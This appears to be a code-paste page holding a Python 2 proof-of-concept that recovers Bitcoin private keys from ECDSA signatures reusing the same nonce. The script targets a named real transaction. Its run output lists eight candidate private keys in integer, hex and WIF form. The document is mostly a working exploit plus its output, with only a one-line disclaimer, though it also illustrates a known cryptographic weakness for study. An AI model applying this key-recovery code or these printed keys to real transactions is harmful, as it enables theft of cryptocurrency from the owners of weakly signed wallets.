fork download
  1. #!/usr/bin/env python
  2. #
  3. # Proof of concept of bitcoin private key recovery using weak ECDSA signatures
  4. #
  5. # Based on http://w...content-available-to-author-only...r.net/2013/01/28/recovering-bitcoin-private-keys.html
  6. # Regarding Bitcoin Tx https://b...content-available-to-author-only...n.info/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1.
  7. # As it's said in the previous article you need to poke around into the OP_CHECKSIG function in order to get z1 and z2,
  8. # in other hand for every other parameters you should be able to get them from the Tx itself.
  9. #
  10. # Author Dario Clavijo <dclavijo@protonmail.com> , Jan 2013
  11. # Donations: 1LgWNdNTnzeNgNMzWHtPtXPjxcutJKu74r
  12. #
  13. # This code is licensed under the terms of the GPLv3 license http://g...content-available-to-author-only...f.org/
  14. #
  15. # Disclaimer: Do not steal other peoples money, that's bad.
  16.  
  17.  
  18. import hashlib
  19.  
  20. p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
  21. #r = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
  22. #s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
  23. #s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
  24. z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
  25. z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
  26.  
  27. # r1 and s1 are contained in this ECDSA signature encoded in DER (openssl default).
  28. der_sig1 = "30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01"
  29.  
  30. # the same thing with the above line.
  31. der_sig2 = "30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01"
  32.  
  33. params = {'p':p,'sig1':der_sig1,'sig2':der_sig2,'z1':z1,'z2':z2}
  34.  
  35. def hexify (s, flip=False):
  36. if flip:
  37. return s[::-1].encode ('hex')
  38. else:
  39. return s.encode ('hex')
  40.  
  41. def unhexify (s, flip=False):
  42. if flip:
  43. return s.decode ('hex')[::-1]
  44. else:
  45. return s.decode ('hex')
  46.  
  47. def inttohexstr(i):
  48. tmpstr = hex(i)
  49. hexstr = tmpstr.replace('0x','').replace('L','').zfill(64)
  50. return hexstr
  51.  
  52. b58_digits = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
  53.  
  54. def dhash(s):
  55. return hashlib.sha256(hashlib.sha256(s).digest()).digest()
  56.  
  57. def rhash(s):
  58. h1 = hashlib.new('ripemd160')
  59. h1.update(hashlib.sha256(s).digest())
  60. return h1.digest()
  61.  
  62. def base58_encode(n):
  63. l = []
  64. while n > 0:
  65. n, r = divmod(n, 58)
  66. l.insert(0,(b58_digits[r]))
  67. return ''.join(l)
  68.  
  69. def base58_encode_padded(s):
  70. res = base58_encode(int('0x' + s.encode('hex'), 16))
  71. pad = 0
  72. for c in s:
  73. if c == chr(0):
  74. pad += 1
  75. else:
  76. break
  77. return b58_digits[0] * pad + res
  78.  
  79. def base58_check_encode(s, version=0):
  80. vs = chr(version) + s
  81. check = dhash(vs)[:4]
  82. return base58_encode_padded(vs + check)
  83.  
  84. def get_der_field(i,binary):
  85. if (ord(binary[i]) == 02):
  86. length = binary[i+1]
  87. end = i + ord(length) + 2
  88. string = binary[i+2:end]
  89. return string
  90. else:
  91. return None
  92.  
  93. # Here we decode a DER encoded string separating r and s
  94. def der_decode(hexstring):
  95. binary = unhexify(hexstring)
  96. full_length = ord(binary[1])
  97. if ((full_length + 3) == len(binary)):
  98. r = get_der_field(2,binary)
  99. s = get_der_field(len(r)+4,binary)
  100. return r,s
  101. else:
  102. return None
  103.  
  104. def show_results(privkeys):
  105. print "Posible Candidates..."
  106. for privkey in privkeys:
  107. hexprivkey = inttohexstr(privkey)
  108. print "intPrivkey = %d" % privkey
  109. print "hexPrivkey = %s" % hexprivkey
  110. print "bitcoin Privkey (WIF) = %s" % base58_check_encode(hexprivkey.decode('hex'),version=128)
  111. print "bitcoin Privkey (WIF compressed) = %s" % base58_check_encode((hexprivkey + "01").decode('hex'),version=128)
  112.  
  113.  
  114. def show_params(params):
  115. for param in params:
  116. try:
  117. print "%s: %s" % (param,inttohexstr(params[param]))
  118. except:
  119. print "%s: %s" % (param,params[param])
  120.  
  121. # This is the same as (a/b mod p) but avoiding floating numbers since we are dealing with prime numbers and modulus
  122. # and beacuse this the python built in division isn't suitable for our needs,
  123. # it returns floating point numbers rounded and we don't want them.
  124. def inverse_mult(a,b,p):
  125. y = (a * pow(b,p-2,p)) #(pow(a, b) modulo p) where p should be a prime number
  126. return y
  127.  
  128. # Here is the wrock!
  129. def derivate_privkey(p,r,s1,s2,z1,z2):
  130.  
  131. privkeys = []
  132.  
  133. privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(s1-s2)),p) % int(p)))
  134. privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(s1+s2)),p) % int(p)))
  135. privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(-s1-s2)),p) % int(p)))
  136. privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(-s1+s2)),p) % int(p)))
  137.  
  138. privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(s1-s2)),p) % int(p)))
  139. privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(s1+s2)),p) % int(p)))
  140. privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(-s1-s2)),p) % int(p)))
  141. privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(-s1+s2)),p) % int(p)))
  142.  
  143. return privkeys
  144.  
  145. def process_signatures(params):
  146.  
  147. p = params['p']
  148. sig1 = params['sig1']
  149. sig2 = params['sig2']
  150. z1 = params['z1']
  151. z2 = params['z2']
  152.  
  153. tmp_r1,tmp_s1 = der_decode(sig1) # Here we extract r and s from the signature encoded in DER.
  154. tmp_r2,tmp_s2 = der_decode(sig2) # Idem.
  155.  
  156. # the key of ECDSA are the integer numbers thats why we convert hexa from to them.
  157. r1 = int(tmp_r1.encode('hex'),16)
  158. r2 = int(tmp_r2.encode('hex'),16)
  159. s1 = int(tmp_s1.encode('hex'),16)
  160. s2 = int(tmp_s2.encode('hex'),16)
  161.  
  162. if (r1 == r2): # If r1 and r2 are equal the two signatures are weak and we can recover the private key.
  163. if (s1 != s2): # This: (s1-s2)>0 should be complied in order be able to compute the private key.
  164. privkey = derivate_privkey(p,r1,s1,s2,z1,z2)
  165. return privkey
  166. else:
  167. raise Exception("Privkey not computable: s1 and s2 are equal.")
  168. else:
  169. raise Exception("Privkey not computable: r1 and r2 are not equal.")
  170.  
  171. def main():
  172. show_params(params)
  173. privkey = process_signatures(params)
  174. if len(privkey)>0:
  175. show_results(privkey)
  176.  
  177. if __name__ == "__main__":
  178. main()# your code goes here
Success #stdin #stdout 0.02s 9440KB
stdin
Standard input is empty
stdout
sig1: 30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01
p: fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
sig2: 30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01
z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
Posible Candidates...
intPrivkey = 88865298299719117682218467295833367085649033095698151055007620974294165995414
hexPrivkey = c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
bitcoin Privkey (WIF) = 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
bitcoin Privkey (WIF compressed) = L3ocvsVKeZQirj2vTD5WqcvDXxsN8DhmaVYfRirZ8a8NrXpbcF4R
intPrivkey = 19835584527442387506303233383318688882068179131922445956042674013108459542113
hexPrivkey = 2bda8b015112f53b2af3135cf5c94255f74a04b3b26fdba52fc6bc47e0981661
bitcoin Privkey (WIF) = 5J9bmKht46CCE4uMw8qw8nEeKpYdrFxNThsLkeGSQuxdt6ia2Wy
bitcoin Privkey (WIF compressed) = KxgxSdZSLdvQYgE7PwcywLfDk4rdeR1PisPCBdV9AYkZnRAey6xu
intPrivkey = 95956504709873807917267751625369218970769385147152458426562489128409701952224
hexPrivkey = d42574feaeed0ac4d50ceca30a36bda8c364d832fcd8c496900ba244ef9e2ae0
bitcoin Privkey (WIF) = 5KRiaGeKxFd1RmSu3qfrzdrJVdN1ghMtJr5LgzodNCjfBNiCQ3A
bitcoin Privkey (WIF compressed) = L4L6Vr3kesXvtKBJjXpXfPecDMVk2D9BTmc9uY8oWaoHWntfA58G
intPrivkey = 26926790937597077741352517712854540767188531183376753327597542167223995498923
hexPrivkey = 3b880609a3dd331df9a8055a4d2e27ec9777e4950a3ffe4ebaede4c986b081ab
bitcoin Privkey (WIF) = 5JGWEH7YLvhvNaqpjRn5vwv9w2UBzsAvc9iASUb5CgX1nJo9E81
bitcoin Privkey (WIF compressed) = KyDS1c7sLx3caGNVgGMzm7PcRTV1YQSoc9SgfSmPYZRUSgFKozHH
intPrivkey = 525408561101902867195721122878492655967010146406281818610066071153281857476
hexPrivkey = 01295ee6aa25321278f9db8cc596e4e7b0b2050cf37c086efc45fc0d85cbf7c4
bitcoin Privkey (WIF) = 5HpoFdnt4CXYaPUZd1yejHANoNtkWfXxirXbK6k6Ac3yMQCRkG3
bitcoin Privkey (WIF compressed) = KwFy9bPWM7spNNCeyyK3XcLPDhdR3w5ewjc2StMBoPi7iktJ4qMa
intPrivkey = 17328105768279647861734682240768181770044875647907585312906300596081650760558
hexPrivkey = 264f5c3cf463fa8601a2ad495bb0399880381233b86b3e10502a20458792fb6e
bitcoin Privkey (WIF) = 5J7AABNZH3gJGdVruk4Xxtf1kRTvXD36rWS9uG4NRevGQpUQSr3
bitcoin Privkey (WIF compressed) = KxWBRWn9TppTDz6PHo4bfgznJeyqEL8GqWv2HfTsZpN71oehg8HL
intPrivkey = 98463983469036547561836302767919726082792688631167319069698862545436510733779
hexPrivkey = d9b0a3c30b9c0579fe5d52b6a44fc6663a76cab2f6dd622b6fa83e4748a345d3
bitcoin Privkey (WIF) = 5KUABQyejJ8uPCrQ5ETGAXRw52Sj1kH9v3WXYP1hMTn2eiXPKsr
bitcoin Privkey (WIF compressed) = L4WsWxq3XgdtD1K2qgNuw3K3emNYSJ2JM85KoWA57KBkHQRiLKgb
intPrivkey = 115266680676214292556375263885809415196870554132668622563995097070364879636861
hexPrivkey = fed6a11955dacded870624733a691b1709fcd7d9bbcc97ccc38c627f4a6a497d
bitcoin Privkey (WIF) = 5KkX5xZKx9Hf5SshMxY9Q8va251u2HnJ3hR68YKycWeKi8Rvx4i
bitcoin Privkey (WIF compressed) = L5m5ntDgePaX4dCm9W8U57ySjiixch4vEuPKeHGksjqjaTD7KKKg